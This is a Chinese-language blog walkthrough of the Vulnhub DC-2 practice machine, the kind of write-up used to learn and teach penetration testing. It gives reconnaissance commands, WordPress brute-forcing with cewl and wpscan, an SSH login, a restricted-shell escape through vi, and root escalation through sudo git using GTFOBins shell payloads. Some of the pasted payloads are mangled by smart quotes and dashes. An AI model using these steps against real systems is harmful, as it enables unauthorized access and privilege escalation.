Vulnhub DC-2 Walkthrough


Vulnhub DC-2 Walkthrough

前言

又到了周六,我又没有什么社交,那就来一次靶场通关练习吧。哎,昨天大家都在过 520,只有我还是一个人孤孤单单,只有俺的靶场与俺相伴。

答湖州迦叶司马问白是何人
李白

青莲居士谪仙人,

酒肆藏名三十春。

湖州司马何须问,

金粟如来是后身。

这次又是一个新的技能,那就是修改 hosts 文件访问网站。嘿嘿。我并不孤单。

信息收集

还是老样子,这里的分为 IP 和端口信息的收集。首先当然是先进性 ip 的收集,这次使用 arp-scan 向局域网发送一个广播包探测,从而识别到局域网的主机是否在线。

IP 信息

arp-scan -l

从而得到了目标主机的地址,下面就进行一下完整的端口扫描了。

端口信息

这次就上强力的 nmap 对目标主机进行完整的端口扫描了。

nmap -A -T4 192.168.17.168 -p-

可以看出目标主机开放了 80/7744 端口,其中第一个是 http 服务,另一个是 ssh。这个鸡贼的作者竟然更改了远程登陆的端口,这种防范意识指的称赞。但是你可能会留意到,就是说蓝色框中间说的 不能重定向到dc-2,这里不出意外地就是要该一下系统的 hosts 文件才能访问了,这个应该是限制了使用 ip 访问。

枚举 HTTP

现在使用 http://dc-2/ 访问一下目标靶机。

flag

真是意外之喜啊,这个 flag 竟然就放在了网页上,那我就不客气了,直接点开一手。

翻译过来大体上意思是,你常规的字典并不管用,你要用 cewl 工具生成的字典才行,字典越多当然越好,但是有时候并不管用。用一个账户登陆看下一个 flag, 如果你找不到,那就换个号。

其实这里我是事先扫过网站的敏感目录的,但是并没有什么有价值的信息(也可能是我太菜了),总之这条路我就先不走了。

cewl 生成字典

看了一下,基本的用法就是 cewl 网址 -w 字典,就是根据网址里面网页的信息生成一个字典。

cewl http://dc-2/ -w dc-dict.txt

差不多一共二百多个数据吧,很快就生成完了。那么问题来了,密码字典有了,用户名从哪里来啊。之前在扫描网站的时候解析到这是一个 wordpress 的网站,那么就可以用 wpscan 爆出用户名来啊。

wpscan --url http://dc-2 -e u --ignore-main-redirect --force

一共是有三个用户名。做一个用户名字典写进去这三个,去爆破下 wordpress 的登录界面,还是用 wpscan 干它。

爆破后台

wpscan --url http://dc-2 -U name.txt -P dc-dict.txt

登陆后台

http://dc-2/wp-admin/admin.php

这个是当时扫描的时候扫描出来的。

Flag 2:

If you can't exploit WordPress and take a shortcut, there is another way.

Hope you found another entry point.

# 翻译过来就是,如果你不能走捷径利用WordPress的漏洞,还有另一种方法。

提权

登陆 ssh

刚刚使用 jerry 登陆了网站的后台,还有一个 tom 虽然也可以登录,但是没有有用的信息,但是结合到上面的提示说是另一种方法,那么我就尝试一下能不能利用这个账号登陆目标主机。

ssh tom@192.168.17.168 -p 7744

flag3

发现当前的家目录下有 flag 文件,但是好多命令都被限制了,不能使用,使用 compgen -c,看一下自己能用的命令。有个 vi。看了下里面的内容:

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

看样子是让我们切换到 jerry 用户才能提权。

flag4

使用 vi 提权。

vi -c ':!/bin/sh' /dev/null
vi
:set shell=/bin/sh
:shell

jerry 用户的家目录发现了另一个 flag

直接 su jerry 是是过不去的,这里看到了网上提供的一种添加环境变量的方法。

然后使用 jerry 用户查看是否有什么可以利用的特殊权限的东西。

然后去网站上查一下怎么利用。发现这个 jerry 可以使用 root 的身份运行 git。去查下。

jerry@DC-2:~$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

  • ```
    sudo PAGER=’sh -c “exec sh 0<&1”‘ git -p help
    
    - This invokes the default pager, which is likely to be [`less`](https://gtfobins.github.io/gtfobins/less/), other functions may apply.
    
    sudo git -p help config
    !/bin/sh
    
    - The help system can also be reached from any `git` command, e.g., `git branch`. This invokes the default pager, which is likely to be [`less`](https://gtfobins.github.io/gtfobins/less/), other functions may apply.
    
    sudo git branch —help config
    !/bin/sh
    
    - Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the `-C` option.
    
    TF=$(mktemp -d)
    git init “$TF”
    echo ‘exec /bin/sh 0<&2 1>&2’ >”$TF/.git/hooks/pre-commit.sample”
    mv “$TF/.git/hooks/pre-commit.sample” “$TF/.git/hooks/pre-commit”
    sudo git -C “$TF” commit —allow-empty -m x
    
    - ```
      TF=$(mktemp -d)
      ln -s /bin/sh "$TF/git-x"
      sudo git "--exec-path=$TF" x

上面是所有的用法,实际上我们这个靶场使用第二种就好了。

finalflag

# whoami
root
# cd /root
# ls
final-flag.txt
# cat final-flag.txt
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

# 

文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录